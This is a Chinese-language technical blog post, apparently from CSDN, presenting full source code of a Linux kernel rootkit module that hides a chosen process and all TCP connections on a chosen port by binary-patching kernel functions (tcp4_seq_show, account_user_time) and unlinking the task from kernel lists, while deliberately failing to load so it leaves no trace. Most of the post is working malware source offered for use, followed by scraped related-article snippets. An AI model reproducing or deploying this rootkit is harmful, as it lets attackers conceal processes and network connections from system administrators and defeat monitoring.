前文中,我描述了一种彻底隐藏进程的方法:
https://blog.csdn.net/dog250/article/details/105292504
并且,我给出了如何恢复的方法:
https://blog.csdn.net/dog250/article/details/105371830

但是不过瘾,一般而言,rootkit都是会偷偷建立一个TCP连接的,那么如何不让经理发现这些连接呢?虽然经理看不到进程,但是经理会netstat啊。

使用net namespace可以隐藏所有的连接,方法参见:
https://blog.csdn.net/dog250/article/details/103182447
但是,如此一来,经理会懵的,经理会彻查这是怎么回事,所以这不妥。

必须要仅仅隐藏特定的TCP连接!

显然,将特定的TCP连接从ehash中摘除是一个彻底的方案,然而这需要hotfix tcp_v4_rcv函数,大规模二进制hook的手艺我已经发誓不再玩了,所以这次,我也俗套一把,我来hook掉TCP连接的显示接口,即 tcp4_seq_show!

和常规方法不同的是,我不使用替换operation指针的方法,而是稍微采用二进制hook的方法,我会在tcp4_seq_show的最前面调用下面的逻辑:

void stub_func_tcp_seq_show(struct seq_file *seq, void *v)
{// 过滤掉特定端口的TCP连接的显示if (v != SEQ_START_TOKEN && ((struct sock *)v)->sk_num == 1234)  {// 1234这个立即数是需要根据模块参数校准的,如果符合,便skip掉原始tcp4_seq_show的stack。asm ("pop %rbp; pop %r11; xor %eax, %eax; retq;");}
}

其实就这么简单,接下来就是例行的poke过程:

void hide_net(struct task_struct *task)
{unsigned short *pport;char *tcp_stub;s32 offset;_tcp4_seq_show = (void *)kallsyms_lookup_name("tcp4_seq_show");if (!_tcp4_seq_show) {printk("_tcp4_seq_show not found\n");return;}hide_tcp4_seq_show = (void *)___vmalloc_node_range(128, 1, START, END,GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC,-1, __builtin_return_address(0));if (!hide_tcp4_seq_show) {printk("nomem\n");return;}memcpy(hide_tcp4_seq_show, stub_func_tcp_seq_show, 0x64);pport = (unsigned short *)&hide_tcp4_seq_show[19];*pport = port;tcp_stub = (void *)hide_tcp4_seq_show;jmp_call[0] = 0xe8;offset = (s32)((long)tcp_stub - (long)_tcp4_seq_show - FTRACE_SIZE);(*(s32 *)(&jmp_call[1])) = offset;get_online_cpus();mutex_lock(_text_mutex);_text_poke_smp(&_tcp4_seq_show[POKE_OFFSET], jmp_call, POKE_LENGTH);mutex_unlock(_text_mutex);put_online_cpus();
}

虽然这种方法没有直接摘链表的方法彻底,但也是很牛X的,至少比替换operations结构体的方法来的简单吧!

连同之前的隐藏进程的代码一起,完整的代码如下:

#include <linux/module.h>
#include <net/tcp.h>
#include <linux/kernel.h>
#include <linux/kallsyms.h>
#include <linux/sched.h>
#include <linux/sched.h>
#include <linux/nsproxy.h>
#include <linux/cpu.h>char *stub = NULL;
char *addr_user = NULL;
char *addr_sys = NULL;
char *_tcp4_seq_show = NULL;
unsigned long *percpuoff = NULL;static unsigned int pid = 0;
module_param(pid, int, 0444);static unsigned int hide = 1;
module_param(hide, int, 0444);static unsigned short port = 1234;
module_param(port, short, 0444);// stub函数模版
void stub_func_account_time(struct task_struct *p, u64 cputime, u64 cputime_scaled)
{// 先用0x11223344来占位,模块加载的时候通过pid参数来校准if (p->pid == 0x11223344)  {asm ("pop %rbp; pop %r11; retq;");}
}void stub_func_tcp_seq_show(struct seq_file *seq, void *v)
{// 过滤掉特定端口的TCP连接的显示if (v != SEQ_START_TOKEN && ((struct sock *)v)->sk_num == 1234)  {asm ("pop %rbp; pop %r11; xor %eax, %eax; retq;");}
}#define FTRACE_SIZE    5
#define POKE_OFFSET     0
#define POKE_LENGTH     5#define RQUEUE_SIZE        2680
#define TASKS_OFFSET    2344
#define CPU_OFFSET      2336void * *(*___vmalloc_node_range)(unsigned long size, unsigned long align,unsigned long start, unsigned long end, gfp_t gfp_mask,pgprot_t prot, int node, const void *caller);
static void *(*_text_poke_smp)(void *addr, const void *opcode, size_t len);
static struct mutex *_text_mutex;// 需要额外分配的stub函数
char *hide_account_user_time = NULL;
char *hide_tcp4_seq_show = NULL;
unsigned char jmp_call[POKE_LENGTH];#define START _AC(0xffffffffa0000000, UL)
#define END   _AC(0xffffffffff000000, UL)void hide_net(struct task_struct *task)
{unsigned short *pport;char *tcp_stub;s32 offset;_tcp4_seq_show = (void *)kallsyms_lookup_name("tcp4_seq_show");if (!_tcp4_seq_show) {printk("_tcp4_seq_show not found\n");return;}hide_tcp4_seq_show = (void *)___vmalloc_node_range(128, 1, START, END,GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC,-1, __builtin_return_address(0));if (!hide_tcp4_seq_show) {printk("nomem\n");return;}memcpy(hide_tcp4_seq_show, stub_func_tcp_seq_show, 0x64);pport = (unsigned short *)&hide_tcp4_seq_show[19];*pport = port;tcp_stub = (void *)hide_tcp4_seq_show;jmp_call[0] = 0xe8;offset = (s32)((long)tcp_stub - (long)_tcp4_seq_show - FTRACE_SIZE);(*(s32 *)(&jmp_call[1])) = offset;get_online_cpus();mutex_lock(_text_mutex);_text_poke_smp(&_tcp4_seq_show[POKE_OFFSET], jmp_call, POKE_LENGTH);mutex_unlock(_text_mutex);put_online_cpus();}void restore_net(struct task_struct *task)
{s32 offset = *(unsigned int *)&_tcp4_seq_show[1];stub = (char *)(offset + (unsigned long)_tcp4_seq_show + FTRACE_SIZE);get_online_cpus();mutex_lock(_text_mutex);_text_poke_smp(&_tcp4_seq_show[POKE_OFFSET], &stub[0], POKE_LENGTH);mutex_unlock(_text_mutex);put_online_cpus();vfree(stub);
}void hide_process(void)
{struct task_struct *task = NULL;struct pid_link *link = NULL;struct hlist_node *node = NULL;task = pid_task(find_vpid(pid), PIDTYPE_PID);link = &task->pids[PIDTYPE_PID];list_del_rcu(&task->tasks);INIT_LIST_HEAD(&task->tasks);node = &link->node;hlist_del_rcu(node);INIT_HLIST_NODE(node);node->pprev = &node;printk("task hide is:%p\n", task);hide_net(task);
}#define CRQ_OFFSET 160
int reshow_process(void)
{struct list_head *list;struct task_struct *p, *n;unsigned long *rq_addr, base_rq;char *tmp;int cpu = smp_processor_id();struct task_struct *task = current;struct pid_link *link = NULL;// 根据current顺藤摸瓜找到本CPU的rqtmp = (char *)task->se.cfs_rq;;rq_addr = (unsigned long *)(tmp + CRQ_OFFSET);tmp = (char *)*rq_addr;// 根据本CPU的rq以及per cpu offset找到基准rq在percpu的偏移cpu = (int)*(int *)(tmp + CPU_OFFSET);base_rq = (unsigned long)tmp - (unsigned long)percpuoff[cpu];task = NULL;for_each_possible_cpu(cpu) {tmp = (char *)(percpuoff[cpu] + base_rq);list = (struct list_head *)&tmp[TASKS_OFFSET];list_for_each_entry_safe(p, n, list, se.group_node) {if (list_empty(&p->tasks)) {task = p;break;}}if (task) break;}// 进程可能sleep/wait在某个queue,请唤醒它重试if (!task) return 1;restore_net(task);link = &task->pids[PIDTYPE_PID];hlist_add_head_rcu(&link->node, &link->pid->tasks[PIDTYPE_PID]);list_add_tail_rcu(&task->tasks, &init_task.tasks);return 0;
}static int __init rootkit_init(void)
{// 32位相对跳转偏移s32 offset;// 需要校准的pid指针位置。unsigned int *ppid;addr_user = (void *)kallsyms_lookup_name("account_user_time");addr_sys = (void *)kallsyms_lookup_name("account_system_time");if (!addr_user || !addr_sys) {printk("一切还没有准备好!请先加载sample模块。\n");return -1;}// 必须采用带range的内存分配函数,否则我们无法保证account_user_time可以32位相对跳转过来!___vmalloc_node_range = (void *)kallsyms_lookup_name("__vmalloc_node_range");_text_poke_smp = (void *)kallsyms_lookup_name("text_poke_smp");_text_mutex = (void *)kallsyms_lookup_name("text_mutex");if (!___vmalloc_node_range || !_text_poke_smp || !_text_mutex) {printk("还没开始,就已经结束。");return -1;}if (hide == 0) {offset = *(unsigned int *)&addr_user[1];stub = (char *)(offset + (unsigned long)addr_user + FTRACE_SIZE);percpuoff = (void *)kallsyms_lookup_name("__per_cpu_offset");if (!percpuoff)return -1;if (reshow_process())return -1;get_online_cpus();mutex_lock(_text_mutex);_text_poke_smp(&addr_user[POKE_OFFSET], &stub[0], POKE_LENGTH);_text_poke_smp(&addr_sys[POKE_OFFSET], &stub[0], POKE_LENGTH);mutex_unlock(_text_mutex);put_online_cpus();vfree(stub);return -1;}// 为了可以在32位范围内相对跳转,必须在START后分配stub func内存hide_account_user_time = (void *)___vmalloc_node_range(128, 1, START, END,GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC,-1, __builtin_return_address(0));if (!hide_account_user_time) {printk("很遗憾,内存不够了\n");return -1;}// 把模版函数拷贝到真正的stub函数中memcpy(hide_account_user_time, stub_func_account_time, 0x25);// 校准pid立即数ppid = (unsigned int *)&hide_account_user_time[12];// 使用立即数来比较pid,不然模块释放掉以后pid参数将不再可读*ppid = pid;stub = (void *)hide_account_user_time;jmp_call[0] = 0xe8;offset = (s32)((long)stub - (long)addr_user - FTRACE_SIZE);(*(s32 *)(&jmp_call[1])) = offset;get_online_cpus();mutex_lock(_text_mutex);_text_poke_smp(&addr_user[POKE_OFFSET], jmp_call, POKE_LENGTH);mutex_unlock(_text_mutex);put_online_cpus();offset = (s32)((long)stub - (long)addr_sys - FTRACE_SIZE);(*(s32 *)(&jmp_call[1])) = offset;get_online_cpus();mutex_lock(_text_mutex);_text_poke_smp(&addr_sys[POKE_OFFSET], jmp_call, POKE_LENGTH);mutex_unlock(_text_mutex);put_online_cpus();// 隐藏进程,将其从数据结构中摘除hide_process();// 事了拂衣去,不留痕迹return -1;
}static void __exit rootkit_exit(void)
{// 事了拂衣去了,什么都没有留下,也不必再过问!
}module_init(rootkit_init);
module_exit(rootkit_exit);
MODULE_LICENSE("GPL");

该模块有三个参数:

  • pid:需要隐藏的进程pid,只有在hide=1时有效。
  • hide:是隐藏(1)还是恢复(0),当隐藏时,需要pid和port。
  • port:需要隐藏的目标端口,目标端口为port的TCP连接都会被隐藏。

放心加载,模块不会加载成功,把事情做了,事了拂衣去,深藏身与名。


浙江温州皮鞋湿,下雨进水不会胖。

Linux系统中隐藏掉你的rootkit的TCP连接相关推荐

  1. mysql隐藏密码_MySQL在Linux系统中隐藏命令行中的密码的方法

    在命令行中输入命令并不是一个好主意,会造成安全问题.但是如果你决定去写一个应用,而这个应用需要在命令行中使用密码或者其他敏感信息.那么,你能通过以下方法禁止系统的其他用户轻易的看到这些敏感数据 呢?, ...

  2. linux mysql 客户端连接,linux系统中启动mysql方式已经客户端如和连接mysql服务器

    零点间的记录 一.启动方式 1.使用linux命令service 启动: service mysqld start 2.使用 mysqld 脚本启动: /etc/inint.d/mysqld star ...

  3. Linux系统中网络配置详解

    从linux诞生的那一天起,就注定了它的网络功能空前地强大.所以在linux系统中如何配置网络,使其高效,安全的工作就显得十分重要.下面我们就从网络设备的安装,网络服务的设置和网络安全性三个方面来介绍 ...

  4. linux中time命令详解、脚本监控记录系统硬盘io值、定位linux系统中await值过高占用的盘、定位占用硬盘IO高的程序、iotop命令说明、lsof使用说明【可定位端口所占用程序等】

    文章目录 文章说明 linux中的time命令 说明&常规用法 bash中使用time,将运行记录追加到文件中,-f后的参数说明 高阶用法 time 命令详细输出指标介绍 ime taken ...

  5. Linux系统中的软件管理详解(下)—搭建网络软件仓库及第三方软件仓库

    Linux系统中的软件管理详解(下) 5.软件仓库管理命令 a)dnf 命令: 管理软件仓库中的安装包 dnf repolist ##列出仓库信息clean all ##清除系统中已经加载的仓库缓存信 ...

  6. Linux系统中的软件管理

    Linux系统中的软件管理 1 Linux中软件包的类型 2 软件包的名称结构 3 rpm命令管理软件包 4 本地软件仓库的搭建 4.1 系统软件仓库的作用 4.2 搭建方法 5 dnf 软件管理命令 ...

  7. linux系统中的日志管理

    Linux系统中的日志管理 1 实验环境 2 journald日志服务 2.1 journalctl命令的用法 2.2 用journald服务永久存放日志 3 rsyslog日志服务 3.1 自定义日 ...

  8. workerman在linux上怎么运行,linux系统中workerman的安装步骤

    linux系统中workerman的安装步骤,文件,测试,教程,相关文章,错了 linux系统中workerman的安装步骤 易采站长站,站长之家为您整理了linux系统中workerman的安装步骤 ...

  9. linux 杀掉php,Linux_在Linux系统中使用xkill命令杀掉未响应的进程,我们如何在Linux中杀掉一个资 - phpStudy...

    在Linux系统中使用xkill命令杀掉未响应的进程 我们如何在Linux中杀掉一个资源/进程?很明显我们会找出资源的pid然后用kill命令. 说的更明白一点,我们可以找到某个资源(比如termin ...

最新文章

  1. Anaconda 2019.03 发布,Python 跨平台科学计算软件
  2. 《jQuery与JavaScript入门经典》——第 1 章 动态Web编程简介 1.1理解Web服务器浏览器范式...
  3. LINUX系统以及ANDROID 平台log信息输出级别设置 [MTK]
  4. 浅谈Android布局
  5. 动态的添加和丢弃关键点---32
  6. innerHTML的用法
  7. 201571030316/201571030314 《小学四则运算练习软件需求说明》结对项目报告
  8. java高分面试指南:javamvc模式简单案例
  9. jeecg 根据数据类型key查询数据字典
  10. python调用math函数_python3中调用C语言的函数
  11. NHibernate 设置字段的默认值的办法
  12. oracle 12.1.0.1.0,oracle_linux安装oracle_12.1.0
  13. InstallShield 2011新功能试用(7)- 新增加的InstallShield Prerequisites
  14. JAVA开源B2C系统
  15. 压测工具ab的安装(mac环境)
  16. AHCI模式安装XP以及驱动下载
  17. [存储] Cobar使用文档(可用作MySQL大型集群解决方案)
  18. 浓眉大眼的Google Wave怎么也会死?
  19. 如何有效提高公众号文章阅读量
  20. DIY背景美化生成器微信小程序源码

热门文章

  1. 手机我的世界java怎么装模组_我的世界如何下模组
  2. python 爬网页版钉钉消息_Python实现钉钉订阅消息功能
  3. mysql cache lock_mysql服务器上有sql状态status显示 Waiting for query cache lock?
  4. CFS调度器学习总结
  5. 长处比短板更容易困住你,读《能力陷阱》有感
  6. 骨传导耳机健康吗?骨传导耳机对身体好不好?
  7. 微网通联 一键认证iOS开发文档
  8. HC-05 蓝牙模块使用
  9. 微信小程序学习第6周————模块化
  10. 搭建redis的步骤